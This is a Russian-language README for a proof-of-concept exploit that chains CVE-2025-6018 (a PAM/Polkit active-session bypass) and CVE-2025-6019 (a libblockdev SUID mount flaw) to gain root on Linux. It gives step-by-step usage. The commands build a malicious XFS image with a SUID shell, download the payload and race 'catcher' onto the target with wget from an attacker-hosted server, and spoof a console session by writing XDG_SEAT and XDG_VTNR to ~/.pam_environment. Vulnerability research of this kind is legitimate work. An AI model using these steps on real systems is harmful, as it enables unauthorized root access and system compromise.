
Доказательство концепции (PoC) для связывания CVE-2025-6018 (обход активной сессии PAM/Polkit) и CVE-2025-6019 (уязвимость SUID-монтирования в libblockdev) с целью локального повышения привилегий (LPE) в уязвимых Linux-системах.
Надёжный Proof of Concept (PoC) для объединения CVE-2025-6018 (обход активной сессии PAM/Polkit) и CVE-2025-6019 (ошибка SUID-монтирования в libblockdev) для получения root-доступа на уязвимых Linux-системах.
Этот инструмент предназначен только для образовательных целей и авторизованных исследований безопасности. Не используйте его на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Этот эксплойт объединяет две логические ошибки для повышения привилегий от обычного пользователя до root:
Active=yes. Этот трюк убеждает систему, что удалённый пользователь физически присутствует за консолью, обходя требования пароля для инструментов управления оборудованием, таких как udisks2.libblockdev (используемая udisks2) не применяет защитный флаг nosuid при временном монтировании файловой системы для операций обслуживания (например, Check или Resize).Active=yes, чтобы смонтировать этот образ как loop-устройство без пароля.Filesystem.Check. Это заставляет udisks2 временно смонтировать образ для его проверки. Критически важно, что во временном монтировании отсутствует nosuid./proc/mounts. Как только временное монтирование появляется, она выполняет SUID-пейлоад до того, как система его размонтирует.Поскольку на целевой машине часто отсутствуют такие инструменты, как mkfs.xfs или gcc, мы генерируем пейлоад локально.
Запустите скрипт сборки на Kali/Parrot:
./build_poc.sh
exploit.img (400MB XFS-образ с SUID-оболочкой).catcher (победитель гонки).Загрузите файлы на цель: Запустите Python-сервер:
python3 -m http.server 80
На целевой машине (например, в /tmp):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
Скачайте эксплойт-скрипт:
Сохраните содержимое exploit.sh из этого репозитория на целевой машине.
Запустите эксплойт:
chmod +x exploit.sh
./exploit.sh
Получите root:
Скрипт автоматически настроит loop-устройство, запустит фоновый catcher и вызовет уязвимость. Вы сразу должны оказаться в root-оболочке.
Если скрипт запрашивает пароль, ваша SSH-сессия не активна.
Решение:
~/.pam_environment:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active. Там должно быть Active=yes.Окно уязвимости длится всего несколько миллисекунд.
build_poc.sh), а не Bash-цикл.Filesystem.Check, который надёжнее, чем Resize.build_poc.sh (сторона атакующего)Автоматизирует создание вредоносного образа и компилирует статические бинарники.
exploit.sh (сторона цели)Оркестратор. Он обеспечивает:
catcher в фоне.udisksctl.Filesystem.Check.